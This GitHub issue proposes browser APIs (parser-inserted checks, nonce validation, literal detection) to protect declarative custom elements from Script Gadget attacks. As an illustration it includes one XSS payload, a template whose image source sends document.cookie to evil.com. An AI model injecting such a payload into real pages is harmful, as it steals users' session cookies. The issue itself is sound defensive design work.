Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Enabling secure script-like custom elements. #979

Open
justinfagnani opened this issue Dec 7, 2022 · 0 comments
Open

Enabling secure script-like custom elements. #979

justinfagnani opened this issue Dec 7, 2022 · 0 comments

Comments

@justinfagnani
Copy link
Contributor

justinfagnani commented Dec 7, 2022

Some custom elements have security concerns that are similar to <script>, in that they allow some logic written in HTML to be evaluated. This can lead to Script Gadget attacks.

An example would be a userland declarative custom element system (such as Stampino Element):

<stampino-element name="simple-greeter" properties="name">
  <template>
    <h1>Hello {{ name }}!</h1>
  </template>
</stampino-element>
<simple-greeter name="World"></simple-greeter>

If such an element definition and instance is inserted from UGC with a weak sanitizer, it could result in various XSS attacks:

<stampino-element name="bad-element">
  <template><img src="http://evil.com/?cookie={{this.ownerDocument.cookie}}"></img></template>
</stampino-element>
<bad-element></bad-element>

Currently available mitigations

There are some mitigations that script-like elements and expression parsers can implement:

  • Script-like elements (ie, the element declaration above) can refuse to go until an imperative API is called. Like:
    document.querySelectorAll('stampino-element').forEach((e) => e.register());
  • Script like elements could require a nonce. I don't think there's a way to validate a nonce against a CSP policy, so pages would have to include the nonce in script:
    <script>
      window.stampinoNonce = 172635;
    </script>
    <stampino-element nonce="172635">....</stampino-element>
  • Expression systems can censor certain objects and types. The main goal would be to prevent access reading sensitive data. It's unclear if this is workable in total, but it seems to have similar attributes to building a secure eval with shadow realms. You at least need to prevent access to globalThis and probably any DOM object.
  • Binding systems can try to prevent writing potentially sensitive data via Trusted Types. Event without trusted types enabled for the page, the binding system can enforce the use of trusted types on unsafe sinks. This may be difficult in common use-cases and sources of data, such as using an attribute value in an expression flowing into an unsafe sink.

These mitigations could be onerous for the target audience of some of these elements. A common reason for them it to allow customization of HTML elements by "non-programmers". For example, a data-providing element that accepts a template:

<user-events user-id="12345">
  <template slot="event-detail">
    <h2>{{ data.title }}</h2>
    <h3>{{ data.date }}</h3>
  </template>
</user-events>

In these cases the host element instantiates the user-provided template (similar to a render prop). Requiring the user to set up a nonce in the page might be too complicated, and it could be done insecurely (a nonce shouldn't be re-used. Usually it shouldn't be in a page, lest it becomes exposed to other scripts, etc. The script writing the nonce should itself be protected by a nonce.). Requiring the user to enable their templates via a <script> has similar concerns.

Potential new helper APIs:

There are few capabilities that could help make it possible to write more secure elements:

  • The parser-inserted bit. If a custom element can determine if it were parser inserted, it could implement similar running behavior to <script>, ie, not run if was added via innerHTML. Maybe this could be done with a static property on the definition (needsParserInserted) and a property on ElementInternals.
  • Support for nonces. Either an API to validate a value against the CSP script-src nonce, or built-in support for nonce on custom elements and an API on ElementInternals to check that the element is "runnable". This would allow a nonce approach without having to include the nonce in the HTML.
  • Ability to determine if values were created from literals, similar to the Array.isTemplateObject() proposal. This might let elements use Trusted Types for bindings, but accept literals from element users in attributes and text content.
  • Far out idea: A built-in expression and binding syntax for so that the browser takes care of the security aspects.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant